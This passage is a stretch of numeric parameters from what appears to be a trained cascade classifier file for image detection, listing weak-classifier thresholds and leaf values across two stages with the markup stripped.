<_> + + 0 -1 1477 1.7710599303245544e-01 + + -3.0910000205039978e-02 -1.1046639680862427e+00 + <_> + + 0 -1 1478 8.4229996427893639e-03 + + 2.4445800483226776e-01 -3.8613098859786987e-01 + <_> + + 0 -1 1479 -1.3035000301897526e-02 + + 9.8004400730133057e-01 -1.7016500234603882e-01 + <_> + + 0 -1 1480 1.8912000581622124e-02 + + 2.0248499512672424e-01 -3.8545900583267212e-01 + <_> + + 0 -1 1481 2.1447999402880669e-02 + + -2.5717198848724365e-01 3.5181200504302979e-01 + <_> + + 0 -1 1482 6.3357003033161163e-02 + + 1.6994799673557281e-01 -9.1383802890777588e-01 + <_> + + 0 -1 1483 -3.2435998320579529e-02 + + -8.5681599378585815e-01 -2.1680999547243118e-02 + <_> + + 0 -1 1484 -2.3564999923110008e-02 + + 5.6115597486495972e-01 -2.2400000307243317e-04 + <_> + + 0 -1 1485 1.8789000809192657e-02 + + -2.5459799170494080e-01 3.4512901306152344e-01 + <_> + + 0 -1 1486 3.1042000278830528e-02 + + 7.5719999149441719e-03 3.4800198674201965e-01 + <_> + + 0 -1 1487 -1.1226999573409557e-02 + + -6.0219800472259521e-01 4.2814999818801880e-02 + <_> + + 0 -1 1488 -1.2845999561250210e-02 + + 4.2020401358604431e-01 -5.3801000118255615e-02 + <_> + + 0 -1 1489 -1.2791999615728855e-02 + + 2.2724500298500061e-01 -3.2398000359535217e-01 + <_> + + 0 -1 1490 6.8651996552944183e-02 + + 9.3532003462314606e-02 10. + <_> + + 0 -1 1491 5.2789999172091484e-03 + + -2.6926299929618835e-01 3.3303201198577881e-01 + <_> + + 0 -1 1492 -3.8779001682996750e-02 + + -7.2365301847457886e-01 1.7806500196456909e-01 + <_> + + 0 -1 1493 6.1820000410079956e-03 + + -3.5119399428367615e-01 1.6586300730705261e-01 + <_> + + 0 -1 1494 1.7515200376510620e-01 + + 1.1623100191354752e-01 -1.5419290065765381e+00 + <_> + + 0 -1 1495 1.1627999693155289e-01 + + -9.1479998081922531e-03 -9.9842602014541626e-01 + <_> + + 0 -1 1496 -2.2964000701904297e-02 + + 2.0565399527549744e-01 1.5432000160217285e-02 + <_> + + 0 -1 1497 -5.1410000771284103e-02 + + 5.8072400093078613e-01 -2.0118400454521179e-01 + <_> + + 0 -1 1498 2.2474199533462524e-01 + + 1.8728999421000481e-02 1.0829299688339233e+00 + <_> + + 0 -1 1499 9.4860000535845757e-03 + + -3.3171299099922180e-01 1.9902999699115753e-01 + <_> + + 0 -1 1500 -1.1846300214529037e-01 + + 1.3711010217666626e+00 6.8926997482776642e-02 + <_> + + 0 -1 1501 3.7810999900102615e-02 + + -9.3600002583116293e-04 -8.3996999263763428e-01 + <_> + + 0 -1 1502 2.2202000021934509e-02 + + -1.1963999830186367e-02 3.6673998832702637e-01 + <_> + + 0 -1 1503 -3.6366000771522522e-02 + + 3.7866500020027161e-01 -2.7714800834655762e-01 + <_> + + 0 -1 1504 -1.3184699416160583e-01 + + -2.7481179237365723e+00 1.0666900128126144e-01 + <_> + + 0 -1 1505 -4.1655998677015305e-02 + + 4.7524300217628479e-01 -2.3249800503253937e-01 + <_> + + 0 -1 1506 -3.3151999115943909e-02 + + -5.7929402589797974e-01 1.7434400320053101e-01 + <_> + + 0 -1 1507 1.5769999474287033e-02 + + -1.1284000240266323e-02 -8.3701401948928833e-01 + <_> + + 0 -1 1508 -3.9363000541925430e-02 + + 3.4821599721908569e-01 -1.7455400526523590e-01 + <_> + + 0 -1 1509 -6.7849002778530121e-02 + + 1.4225699901580811e+00 -1.4765599370002747e-01 + <_> + + 0 -1 1510 -2.6775000616908073e-02 + + 2.3947000503540039e-01 1.3271999545395374e-02 + <_> + + 0 -1 1511 3.9919000118970871e-02 + + -8.9999996125698090e-03 -7.5938898324966431e-01 + <_> + + 0 -1 1512 1.0065600275993347e-01 + + -1.8685000017285347e-02 7.6245301961898804e-01 + <_> + + 0 -1 1513 -8.1022001802921295e-02 + + -9.0439099073410034e-01 -8.5880002006888390e-03 + <_> + + 0 -1 1514 -2.1258000284433365e-02 + + -2.1319599449634552e-01 2.1919700503349304e-01 + <_> + + 0 -1 1515 -1.0630999691784382e-02 + + 1.9598099589347839e-01 -3.5768100619316101e-01 + <_> + + 0 -1 1516 8.1300002057105303e-04 + + -9.2794999480247498e-02 2.6145899295806885e-01 + <_> + + 0 -1 1517 3.4650000743567944e-03 + + -5.5336099863052368e-01 2.7386000379920006e-02 + <_> + + 0 -1 1518 1.8835999071598053e-02 + + 1.8446099758148193e-01 -6.6934299468994141e-01 + <_> + + 0 -1 1519 -2.5631999596953392e-02 + + 1.9382879734039307e+00 -1.4708900451660156e-01 + <_> + + 0 -1 1520 -4.0939999744296074e-03 + + -2.6451599597930908e-01 2.0733200013637543e-01 + <_> + + 0 -1 1521 -8.9199998183175921e-04 + + -5.5031597614288330e-01 5.0374999642372131e-02 + <_> + + 0 -1 1522 -4.9518000334501266e-02 + + -2.5615389347076416e+00 1.3141700625419617e-01 + <_> + + 0 -1 1523 1.1680999770760536e-02 + + -2.4819800257682800e-01 3.9982700347900391e-01 + <_> + + 0 -1 1524 3.4563999623060226e-02 + + 1.6178800165653229e-01 -7.1418899297714233e-01 + <_> + + 0 -1 1525 -8.2909995689988136e-03 + + 2.2180099785327911e-01 -2.9181700944900513e-01 + <_> + + 0 -1 1526 -2.2358000278472900e-02 + + 3.1044098734855652e-01 -2.7280000504106283e-03 + <_> + + 0 -1 1527 -3.0801000073552132e-02 + + -9.5672702789306641e-01 -8.3400001749396324e-03 + <_> + + 0 -1 1528 4.3779000639915466e-02 + + 1.2556900084018707e-01 -1.1759619712829590e+00 + <_> + + 0 -1 1529 4.3046001344919205e-02 + + -5.8876998722553253e-02 -1.8568470478057861e+00 + <_> + + 0 -1 1530 2.7188999578356743e-02 + + 4.2858000844717026e-02 3.9036700129508972e-01 + <_> + + 0 -1 1531 9.4149997457861900e-03 + + -4.3567001819610596e-02 -1.1094470024108887e+00 + <_> + + 0 -1 1532 9.4311997294425964e-02 + + 4.0256999433040619e-02 9.8442298173904419e-01 + <_> + + 0 -1 1533 1.7025099694728851e-01 + + 2.9510000720620155e-02 -6.9509297609329224e-01 + <_> + + 0 -1 1534 -4.7148000448942184e-02 + + 1.0338569879531860e+00 6.7602001130580902e-02 + <_> + + 0 -1 1535 1.1186300218105316e-01 + + -6.8682998418807983e-02 -2.4985830783843994e+00 + <_> + + 0 -1 1536 -1.4353999868035316e-02 + + -5.9481900930404663e-01 1.5001699328422546e-01 + <_> + + 0 -1 1537 3.4024000167846680e-02 + + -6.4823001623153687e-02 -2.1382639408111572e+00 + <_> + + 0 -1 1538 2.1601999178528786e-02 + + 5.5309999734163284e-02 7.8292900323867798e-01 + <_> + + 0 -1 1539 2.1771999076008797e-02 + + -7.1279997937381268e-03 -7.2148102521896362e-01 + <_> + + 0 -1 1540 8.2416996359825134e-02 + + 1.4609499275684357e-01 -1.3636670112609863e+00 + <_> + + 0 -1 1541 8.4671996533870697e-02 + + -1.7784699797630310e-01 7.2857701778411865e-01 + <_> + + 0 -1 1542 -5.5128000676631927e-02 + + -5.9402400255203247e-01 1.9357800483703613e-01 + <_> + + 0 -1 1543 -6.4823001623153687e-02 + + -1.0783840417861938e+00 -4.0734000504016876e-02 + <_> + + 0 -1 1544 -2.2769000381231308e-02 + + 7.7900201082229614e-01 3.4960000775754452e-03 + <_> + + 0 -1 1545 5.4756000638008118e-02 + + -6.5683998167514801e-02 -1.8188409805297852e+00 + <_> + + 0 -1 1546 -8.9000001025851816e-05 + + -1.7891999334096909e-02 2.0768299698829651e-01 + <_> + + 0 -1 1547 9.8361998796463013e-02 + + -5.5946998298168182e-02 -1.4153920412063599e+00 + <_> + + 0 -1 1548 -7.0930002257227898e-03 + + 3.4135299921035767e-01 -1.2089899927377701e-01 + <_> + + 0 -1 1549 5.0278000533580780e-02 + + -2.6286700367927551e-01 2.5797298550605774e-01 + <_> + + 0 -1 1550 -5.7870000600814819e-03 + + -1.3178600370883942e-01 1.7350199818611145e-01 + <_> + + 0 -1 1551 1.3973999768495560e-02 + + 2.8518000617623329e-02 -6.1152201890945435e-01 + <_> + + 0 -1 1552 2.1449999883770943e-02 + + 2.6181999593973160e-02 3.0306598544120789e-01 + <_> + + 0 -1 1553 -2.9214000329375267e-02 + + 4.4940599799156189e-01 -2.2803099453449249e-01 + <_> + + 0 -1 1554 4.8099999548867345e-04 + + -1.9879999756813049e-01 2.0744499564170837e-01 + <_> + + 0 -1 1555 1.7109999898821115e-03 + + -5.4037201404571533e-01 6.7865997552871704e-02 + <_> + + 0 -1 1556 8.6660003289580345e-03 + + -1.3128000311553478e-02 5.2297902107238770e-01 + <_> + + 0 -1 1557 6.3657999038696289e-02 + + 6.8299002945423126e-02 -4.9235099554061890e-01 + <_> + + 0 -1 1558 -2.7968000620603561e-02 + + 6.8183898925781250e-01 7.8781001269817352e-02 + <_> + + 0 -1 1559 4.8953998833894730e-02 + + -2.0622399449348450e-01 5.0388097763061523e-01 + <_> + 169 + -3.2396929264068604e+00 + + <_> + + 0 -1 1560 -2.9312999919056892e-02 + + 7.1284699440002441e-01 -5.8230698108673096e-01 + <_> + + 0 -1 1561 1.2415099889039993e-01 + + -3.6863499879837036e-01 6.0067200660705566e-01 + <_> + + 0 -1 1562 7.9349996522068977e-03 + + -8.6008298397064209e-01 2.1724699437618256e-01 + <_> + + 0 -1 1563 3.0365999788045883e-02 + + -2.7186998724937439e-01 6.1247897148132324e-01 + <_> + + 0 -1 1564 2.5218000635504723e-02 + + -3.4748300909996033e-01 5.0427699089050293e-01 + <_> + + 0 -1 1565 1.0014000348746777e-02 + + -3.1898999214172363e-01 4.1376799345016479e-01 + <_> + + 0 -1 1566 -1.6775000840425491e-02 + + -6.9048100709915161e-01 9.4830997288227081e-02 + <_> + + 0 -1 1567 -2.6950000319629908e-03 + + -2.0829799771308899e-01 2.3737199604511261e-01 + <_> + + 0 -1 1568 4.2257998138666153e-02 + + -4.9366700649261475e-01 1.8170599639415741e-01 + <_> + + 0 -1 1569 -4.8505000770092010e-02 + + 1.3429640531539917e+00 3.9769001305103302e-02 + <_> + + 0 -1 1570 2.8992999345064163e-02 + + 4.6496000140905380e-02 -8.1643497943878174e-01 + <_> + + 0 -1 1571 -4.0089000016450882e-02 + + -7.1197801828384399e-01 2.2553899884223938e-01 + <_> + + 0 -1 1572 -4.1021998971700668e-02 + + 1.0057929754257202e+00 -1.9690200686454773e-01 + <_> + + 0 -1 1573 1.1838000267744064e-02 + + -1.2600000016391277e-02 8.0767101049423218e-01 + <_> + + 0 -1 1574 -2.1328000351786613e-02 + + -8.2023900747299194e-01 2.0524999126791954e-02 + <_> + + 0 -1 1575 -2.3904999718070030e-02 + + 5.4210501909255981e-01 -7.4767000973224640e-02 + <_> + + 0 -1 1576 1.8008999526500702e-02 + + -3.3827701210975647e-01 4.2358601093292236e-01 + <_> + + 0 -1 1577 -4.3614000082015991e-02 + + -1.1983489990234375e+00 1.5566200017929077e-01 + <_> + + 0 -1 1578 -9.2449998483061790e-03 + + -8.9029997587203979e-01 1.1003999970853329e-02 + <_> + + 0 -1 1579 4.7485001385211945e-02 + + 1.6664099693298340e-01 -9.0764498710632324e-01 + <_> + + 0 -1 1580 -1.4233999885618687e-02 + + 6.2695199251174927e-01 -2.5791200995445251e-01 + <_> + + 0 -1 1581 3.8010000716894865e-03 + + -2.8229999542236328e-01 2.6624599099159241e-01 + <_> + + 0 -1 1582 3.4330000635236502e-03 + + -6.3771998882293701e-01 9.8422996699810028e-02 + <_> + + 0 -1 1583 -2.9221000149846077e-02 + + -7.6769900321960449e-01 2.2634500265121460e-01 + <_> + + 0 -1 1584 -6.4949998632073402e-03 + + 4.5600101351737976e-01 -2.6528900861740112e-01 + <_> + + 0 -1 1585 -3.0034000054001808e-02 + + -7.6551097631454468e-01 1.4009299874305725e-01 + <_> + + 0 -1 1586 7.8360000625252724e-03 + + 4.6755999326705933e-02 -7.2356200218200684e-01 + <_> + + 0 -1 1587 8.8550001382827759e-03 + + -4.9141999334096909e-02 5.1472699642181396e-01 + <_> + + 0 -1 1588 9.5973998308181763e-02 + + -2.0068999379873276e-02 -1.0850950479507446e+00 + <_> + + 0 -1 1589 -3.2876998186111450e-02 + + -9.5875298976898193e-01 1.4543600380420685e-01 + <_> + + 0 -1 1590 -1.3384000398218632e-02 + + -7.0013600587844849e-01 2.9157999902963638e-02 + <_> + + 0 -1 1591 1.5235999599099159e-02 + + -2.8235700726509094e-01 2.5367999076843262e-01 + <_> + + 0 -1 1592 1.2054000049829483e-02 + + -2.5303399562835693e-01 4.6526700258255005e-01 + <_> + + 0 -1 1593 -7.6295003294944763e-02 + + -6.9915801286697388e-01 1.3217200338840485e-01 + <_> + + 0 -1 1594 -1.2040000408887863e-02 + + 4.5894598960876465e-01 -2.3856499791145325e-01 + <_> + + 0 -1 1595 2.1916000172495842e-02 + + 1.8268600106239319e-01 -6.1629700660705566e-01 + <_> + + 0 -1 1596 -2.7330000884830952e-03 + + -6.3257902860641479e-01 3.4219000488519669e-02 + <_> + + 0 -1 1597 -4.8652000725269318e-02 + + -1.0297729969024658e+00 1.7386500537395477e-01 + <_> + + 0 -1 1598 -1.0463999584317207e-02 + + 3.4757301211357117e-01 -2.7464100718498230e-01 + <_> + + 0 -1 1599 -6.6550001502037048e-03 + + -2.8980299830436707e-01 2.4037900567054749e-01 + <_> + + 0 -1 1600 8.5469996556639671e-03 + + -4.4340500235557556e-01 1.4267399907112122e-01 + <_> + + 0 -1 1601 1.9913999363780022e-02 + + 1.7740400135517120e-01 -2.4096299707889557e-01 + <_> + + 0 -1 1602 2.2012999281287193e-02 + + -1.0812000371515751e-02 -9.4690799713134766e-01 + <_> + + 0 -1 1603 -5.2179001271724701e-02 + + 1.6547499895095825e+00 9.6487000584602356e-02 + <_> + + 0 -1 1604 1.9698999822139740e-02 + + -6.7560002207756042e-03 -8.6311501264572144e-01 + <_> + + 0 -1 1605 2.3040000349283218e-02 + + -2.3519999813288450e-03 3.8531300425529480e-01 + <_> + + 0 -1 1606 -1.5038000419735909e-02 + + -6.1905699968338013e-01 3.1077999621629715e-02 + <_> + + 0 -1 1607 -4.9956001341342926e-02 + + 7.0657497644424438e-01 4.7880999743938446e-02 + <_> + + 0 -1 1608 -6.9269999861717224e-02 + + 3.9212900400161743e-01 -2.3848000168800354e-01 + <_> + + 0 -1 1609 4.7399997711181641e-03 + + -2.4309000000357628e-02 2.5386300683021545e-01 + <_> + + 0 -1 1610 -3.3923998475074768e-02 + + 4.6930399537086487e-01 -2.3321899771690369e-01 + <_> + + 0 -1 1611 -1.6231000423431396e-02 + + 3.2319200038909912e-01 -2.0545600354671478e-01 + <_> + + 0 -1 1612 -5.0193000584840775e-02 + + -1.2277870178222656e+00 -4.0798000991344452e-02 + <_> + + 0 -1 1613 5.6944001466035843e-02 + + 4.5184001326560974e-02 6.0197502374649048e-01 + <_> + + 0 -1 1614 4.0936999022960663e-02 + + -1.6772800683975220e-01 8.9819300174713135e-01 + <_> + + 0 -1 1615 -3.0839999672025442e-03 + + 3.3716198801994324e-01 -2.7240800857543945e-01 + <_> + + 0 -1 1616 -3.2600000500679016e-02 + + -8.5446500778198242e-01 1.9664999097585678e-02 + <_> + + 0 -1 1617 9.8480999469757080e-02 + + 5.4742000997066498e-02 6.3827300071716309e-01 + <_> + + 0 -1 1618 -3.8185000419616699e-02 + + 5.2274698019027710e-01 -2.3384800553321838e-01 + <_> + + 0 -1 1619 -4.5917000621557236e-02 + + 6.2829202413558960e-01 3.2859001308679581e-02 + <_> + + 0 -1 1620 -1.1955499649047852e-01 + + -6.1572700738906860e-01 3.4680001437664032e-02 + <_> + + 0 -1 1621 -1.2044399976730347e-01 + + -8.4380000829696655e-01 1.6530700027942657e-01 + <_> + + 0 -1 1622 7.0619001984596252e-02 + + -6.3261002302169800e-02 -1.9863929748535156e+00 + <_> + + 0 -1 1623 8.4889996796846390e-03 + + -1.7663399875164032e-01 3.8011199235916138e-01 + <_> + + 0 -1 1624 2.2710999473929405e-02 + + -2.7605999261140823e-02 -9.1921401023864746e-01 + <_> + + 0 -1 1625 4.9700000090524554e-04 + + -2.4293200671672821e-01 2.2878900170326233e-01 + <_> + + 0 -1 1626 3.4651998430490494e-02 + + -2.3705999553203583e-01 5.4010999202728271e-01 + <_> + + 0 -1 1627 -4.4700000435113907e-03 + + 3.9078998565673828e-01 -1.2693800032138824e-01 + <_> + + 0 -1 1628 2.3643000051379204e-02 + + -2.6663699746131897e-01 3.2312598824501038e-01 + <_> + + 0 -1 1629 1.2813000008463860e-02 + + 1.7540800571441650e-01 -6.0787999629974365e-01 + <_> + + 0 -1 1630 -1.1250999756157398e-02 + + -1.0852589607238770e+00 -2.8046000748872757e-02 + <_> + + 0 -1 1631 -4.1535001248121262e-02 + + 7.1887397766113281e-01 2.7982000261545181e-02 + <_> + + 0 -1 1632 -9.3470998108386993e-02 + + -1.1906319856643677e+00 -4.4810999184846878e-02 + <_> + + 0 -1 1633 -2.7249999344348907e-02 + + 6.2942498922348022e-01 9.5039997249841690e-03 + <_> + + 0 -1 1634 -2.1759999915957451e-02 + + 1.3233649730682373e+00 -1.5027000010013580e-01 + <_> + + 0 -1 1635 -9.6890004351735115e-03 + + -3.3947101235389709e-01 1.7085799574851990e-01 + <_> + + 0 -1 1636 6.9395996630191803e-02 + + -2.5657799839973450e-01 4.7652098536491394e-01 + <_> + + 0 -1 1637 3.1208999454975128e-02 + + 1.4154000580310822e-01 -3.4942001104354858e-01 + <_> + + 0 -1 1638 -4.9727000296115875e-02 + + -1.1675560474395752e+00 -4.0757998824119568e-02 + <_> + + 0 -1 1639 -2.0301999524235725e-02 + + -3.9486399292945862e-01 1.5814900398254395e-01 + <_> + + 0 -1 1640 -1.5367000363767147e-02 + + 4.9300000071525574e-01 -2.0092099905014038e-01 + <_> + + 0 -1 1641 -5.0735000520944595e-02 + + 1.8736059665679932e+00 8.6730003356933594e-02 + <_> + + 0 -1 1642 -2.0726000890135765e-02 + + -8.8938397169113159e-01 -7.3199998587369919e-03 + <_> + + 0 -1 1643 -3.0993999913334846e-02 + + -1.1664899587631226e+00 1.4274600148200989e-01 + <_> + + 0 -1 1644 -4.4269999489188194e-03 + + -6.6815102100372314e-01 4.4120000675320625e-03 + <_> + + 0 -1 1645 -4.5743998140096664e-02 + + -4.7955200076103210e-01 1.5121999382972717e-01 + <_> + + 0 -1 1646 1.6698999330401421e-02 + + 1.2048599869012833e-01 -4.5235899090766907e-01 + <_> + + 0 -1 1647 3.2210000790655613e-03 + + -7.7615000307559967e-02 2.7846598625183105e-01 + <_> + + 0 -1 1648 2.4434000253677368e-02 + + -1.9987100362777710e-01 6.7253702878952026e-01 + <_> + + 0 -1 1649 -7.9677999019622803e-02 + + 9.2222398519515991e-01 9.2557996511459351e-02 + <_> + + 0 -1 1650 4.4530000537633896e-02 + + -2.6690500974655151e-01 3.3320501446723938e-01 + <_> + + 0 -1 1651 -1.2528300285339355e-01 + + -5.4253101348876953e-01 1.3976299762725830e-01 + <_> + + 0 -1 1652 1.7971999943256378e-02 + + 1.8219999969005585e-02 -6.8048501014709473e-01 + <_> + + 0 -1 1653 1.9184000790119171e-02 + + -1.2583999894559383e-02 5.4126697778701782e-01 + <_> + + 0 -1 1654 4.0024001151323318e-02 + + -1.7638799548149109e-01 7.8810399770736694e-01 + <_> + + 0 -1 1655 1.3558999635279179e-02 + + 2.0737600326538086e-01 -4.7744300961494446e-01 + <_> + + 0 -1 1656 1.6220999881625175e-02 + + 2.3076999932527542e-02 -6.1182099580764771e-01 + <_> + + 0 -1 1657 1.1229000054299831e-02 + + -1.7728000879287720e-02 4.1764199733734131e-01 + <_> + + 0 -1 1658 3.9193000644445419e-02 + + -1.8948499858379364e-01 7.4019300937652588e-01 + <_> + + 0 -1 1659 -9.5539996400475502e-03 + + 4.0947100520133972e-01 -1.3508899509906769e-01 + <_> + + 0 -1 1660 2.7878999710083008e-02 + + -2.0350700616836548e-01 6.1625397205352783e-01 + <_> + + 0 -1 1661 -2.3600999265909195e-02 + + -1.6967060565948486e+00 1.4633199572563171e-01 + <_> + + 0 -1 1662 2.6930000633001328e-02 + + -3.0401999130845070e-02 -1.0909470319747925e+00 + <_> + + 0 -1 1663 2.8999999631196260e-04 + + -2.0076000690460205e-01 2.2314099967479706e-01 + <_> + + 0 -1 1664 -4.1124999523162842e-02 + + -4.5242199301719666e-01 5.7392001152038574e-02 + <_> + + 0 -1 1665 6.6789998672902584e-03 + + 2.3824900388717651e-01 -2.1262100338935852e-01 + <_> + + 0 -1 1666 4.7864999622106552e-02 + + -1.8194800615310669e-01 6.1918401718139648e-01 + <_> + + 0 -1 1667 -3.1679999083280563e-03 + + -2.7393200993537903e-01 2.5017300248146057e-01 + <_> + + 0 -1 1668 -8.6230002343654633e-03 + + -4.6280300617218018e-01 4.2397998273372650e-02 + <_> + + 0 -1 1669 -7.4350000359117985e-03 + + 4.1796800494194031e-01 -1.7079999670386314e-03 + <_> + + 0 -1 1670 -1.8769999733194709e-03 + + 1.4602300524711609e-01 -3.3721101284027100e-01 + <_> + + 0 -1 1671 -8.6226001381874084e-02 + + 7.5143402814865112e-01 1.0711999610066414e-02 + <_> + + 0 -1 1672 4.6833999454975128e-02 + + -1.9119599461555481e-01 4.8414900898933411e-01 + <_> + + 0 -1 1673 -9.2000002041459084e-05 + + 3.5220399498939514e-01 -1.7333300411701202e-01 + <_> + + 0 -1 1674 -1.6343999654054642e-02 + + -6.4397698640823364e-01 9.0680001303553581e-03 + <_> + + 0 -1 1675 4.5703999698162079e-02 + + 1.8216000869870186e-02 3.1970798969268799e-01 + <_> + + 0 -1 1676 -2.7382999658584595e-02 + + 1.0564049482345581e+00 -1.7276400327682495e-01 + <_> + + 0 -1 1677 -2.7602000162005424e-02 + + 2.9715499281883240e-01 -9.4600003212690353e-03 + <_> + + 0 -1 1678 7.6939999125897884e-03 + + -2.1660299599170685e-01 4.7385200858116150e-01 + <_> + + 0 -1 1679 -7.0500001311302185e-04 + + 2.4048799276351929e-01 -2.6776000857353210e-01 + <_> + + 0 -1 1680 1.1054199934005737e-01 + + -3.3539000898599625e-02 -1.0233880281448364e+00 + <_> + + 0 -1 1681 6.8765997886657715e-02 + + -4.3239998631179333e-03 5.7153397798538208e-01 + <_> + + 0 -1 1682 1.7999999690800905e-03 + + 7.7574998140335083e-02 -4.2092698812484741e-01 + <_> + + 0 -1 1683 1.9232000410556793e-01 + + 8.2021996378898621e-02 2.8810169696807861e+00 + <_> + + 0 -1 1684 1.5742099285125732e-01 + + -1.3708199560642242e-01 2.0890059471130371e+00 + <_> + + 0 -1 1685 -4.9387000501155853e-02 + + -1.8610910177230835e+00 1.4332099258899689e-01 + <_> + + 0 -1 1686 5.1929000765085220e-02 + + -1.8737000226974487e-01 5.4231601953506470e-01 + <_> + + 0 -1 1687 4.9965001642704010e-02 + + 1.4175300300121307e-01 -1.5625779628753662e+00 + <_> + + 0 -1 1688 -4.2633000761270523e-02 + + 1.6059479713439941e+00 -1.4712899923324585e-01 + <_> + + 0 -1 1689 -3.7553999572992325e-02 + + -8.0974900722503662e-01 1.3256999850273132e-01 + <_> + + 0 -1 1690 -3.7174999713897705e-02 + + -1.3945020437240601e+00 -5.7055000215768814e-02 + <_> + + 0 -1 1691 1.3945999555289745e-02 + + 3.3427000045776367e-02 5.7474797964096069e-01 + <_> + + 0 -1 1692 -4.4800000614486635e-04 + + -5.5327498912811279e-01 2.1952999755740166e-02 + <_> + + 0 -1 1693 3.1993001699447632e-02 + + 2.0340999588370323e-02 3.7459200620651245e-01 + <_> + + 0 -1 1694 -4.2799999937415123e-03 + + 4.4428700208663940e-01 -2.2999699413776398e-01 + <_> + + 0 -1 1695 9.8550003021955490e-03 + + 1.8315799534320831e-01 -4.0964999794960022e-01 + <_> + + 0 -1 1696 9.3356996774673462e-02 + + -6.3661001622676849e-02 -1.6929290294647217e+00 + <_> + + 0 -1 1697 1.7209999263286591e-02 + + 2.0153899490833282e-01 -4.6061098575592041e-01 + <_> + + 0 -1 1698 8.4319999441504478e-03 + + -3.2003998756408691e-01 1.5312199294567108e-01 + <_> + + 0 -1 1699 -1.4054999686777592e-02 + + 8.6882400512695312e-01 3.2575000077486038e-02 + <_> + + 0 -1 1700 -7.7180000953376293e-03 + + 6.3686698675155640e-01 -1.8425500392913818e-01 + <_> + + 0 -1 1701 2.8005000203847885e-02 + + 1.7357499897480011e-01 -4.7883599996566772e-01 + <_> + + 0 -1 1702 -1.8884999677538872e-02 + + 2.4101600050926208e-01 -2.6547598838806152e-01 + <_> + + 0 -1 1703 -1.8585000187158585e-02 + + 5.4232501983642578e-01 5.3633000701665878e-02 + <_> + + 0 -1 1704 -3.6437001079320908e-02 + + 2.3908898830413818e+00 -1.3634699583053589e-01 + <_> + + 0 -1 1705 3.2455001026391983e-02 + + 1.5910699963569641e-01 -6.7581498622894287e-01 + <_> + + 0 -1 1706 5.9781998395919800e-02 + + -2.3479999508708715e-03 -7.3053699731826782e-01 + <_> + + 0 -1 1707 9.8209995776414871e-03 + + -1.1444099992513657e-01 3.0570301413536072e-01 + <_> + + 0 -1 1708 -3.5163998603820801e-02 + + -1.0511469841003418e+00 -3.3103000372648239e-02 + <_> + + 0 -1 1709 2.7429999317973852e-03 + + -2.0135399699211121e-01 3.2754099369049072e-01 + <_> + + 0 -1 1710 8.1059997901320457e-03 + + -2.1383500099182129e-01 4.3362098932266235e-01 + <_> + + 0 -1 1711 8.8942997157573700e-02 + + 1.0940899699926376e-01 -4.7609338760375977e+00 + <_> + + 0 -1 1712 -3.0054999515414238e-02 + + -1.7169300317764282e+00 -6.0919001698493958e-02 + <_> + + 0 -1 1713 -2.1734999492764473e-02 + + 6.4778900146484375e-01 -3.2830998301506042e-02 + <_> + + 0 -1 1714 3.7648998200893402e-02 + + -1.0060000233352184e-02 -7.6569098234176636e-01 + <_> + + 0 -1 1715 2.7189999818801880e-03 + + 1.9888900220394135e-01 -8.2479000091552734e-02 + <_> + + 0 -1 1716 -1.0548000223934650e-02 + + -8.6613601446151733e-01 -2.5986000895500183e-02 + <_> + + 0 -1 1717 1.2966300547122955e-01 + + 1.3911999762058258e-01 -2.2271950244903564e+00 + <_> + + 0 -1 1718 -1.7676999792456627e-02 + + 3.3967700600624084e-01 -2.3989599943161011e-01 + <_> + + 0 -1 1719 -7.7051997184753418e-02 + + -2.5017969608306885e+00 1.2841999530792236e-01 + <_> + + 0 -1 1720 -1.9230000674724579e-02 + + 5.0641202926635742e-01 -1.9751599431037903e-01 + <_> + + 0 -1 1721 -5.1222998648881912e-02 + + -2.9333369731903076e+00 1.3858500123023987e-01 + <_> + + 0 -1 1722 2.0830000285059214e-03 + + -6.0043597221374512e-01 2.9718000441789627e-02 + <_> + + 0 -1 1723 2.5418000295758247e-02 + + 3.3915799856185913e-01 -1.4392000436782837e-01 + <_> + + 0 -1 1724 -2.3905999958515167e-02 + + -1.1082680225372314e+00 -4.7377001494169235e-02 + <_> + + 0 -1 1725 -6.3740001060068607e-03 + + 4.4533699750900269e-01 -6.7052997648715973e-02 + <_> + + 0 -1 1726 -3.7698999047279358e-02 + + -1.0406579971313477e+00 -4.1790001094341278e-02 + <_> + + 0 -1 1727 2.1655100584030151e-01 + + 3.3863000571727753e-02 8.2017302513122559e-01 + <_> + + 0 -1 1728 -1.3400999829173088e-02 + + 5.2903497219085693e-01 -1.9133000075817108e-01 + <_> + 196 + -3.2103500366210938e+00 + + <_> + + 0 -1 1729 7.1268998086452484e-02 + + -5.3631198406219482e-01 6.0715299844741821e-01 + <_> + + 0 -1 1730 5.6111000478267670e-02 + + -5.0141602754592896e-01 4.3976101279258728e-01 + <_> + + 0 -1 1731 4.0463998913764954e-02 + + -3.2922199368476868e-01 5.4834699630737305e-01 + <_> + + 0 -1 1732 6.3155002892017365e-02 + + -3.1701698899269104e-01 4.6152999997138977e-01 + <_> + + 0 -1 1733 1.0320999659597874e-02 + + 1.0694999992847443e-01 -9.8243898153305054e-01 + <_> + + 0 -1 1734 6.2606997787952423e-02 + + -1.4329700171947479e-01 7.1095001697540283e-01 + <_> + + 0 -1 1735 -3.9416000247001648e-02 + + 9.4380199909210205e-01 -2.1572099626064301e-01 + <_> + + 0 -1 1736 -5.3960001096129417e-03 + + -5.4611998796463013e-01 2.5303798913955688e-01 + <_> + + 0 -1 1737 1.0773199796676636e-01 + + 1.2496000155806541e-02 -1.0809199810028076e+00 + <_> + + 0 -1 1738 1.6982000321149826e-02 + + -3.1536400318145752e-01 5.1239997148513794e-01 + <_> + + 0 -1 1739 3.1216999515891075e-02 + + -4.5199999585747719e-03 -1.2443480491638184e+00 + <_> + + 0 -1 1740 -2.3106999695301056e-02 + + -7.6492899656295776e-01 2.0640599727630615e-01 + <_> + + 0 -1 1741 -1.1203999631106853e-02 + + 2.4092699587345123e-01 -3.5142099857330322e-01 + <_> + + 0 -1 1742 -4.7479998320341110e-03 + + -9.7007997334003448e-02 2.0638099312782288e-01 + <_> + + 0 -1 1743 -1.7358999699354172e-02 + + -7.9020297527313232e-01 2.1852999925613403e-02 + <_> + + 0 -1 1744 1.8851999193429947e-02 + + -1.0394600033760071e-01 5.4844200611114502e-01 + <_> + + 0 -1 1745 7.2249998338520527e-03 + + -4.0409401059150696e-01 2.6763799786567688e-01 + <_> + + 0 -1 1746 1.8915999680757523e-02 + + 2.0508000254631042e-01 -1.0206340551376343e+00 + <_> + + 0 -1 1747 3.1156999990344048e-02 + + 1.2400000123307109e-03 -8.7293499708175659e-01 + <_> + + 0 -1 1748 2.0951999351382256e-02 + + -5.5559999309480190e-03 8.0356198549270630e-01 + <_> + + 0 -1 1749 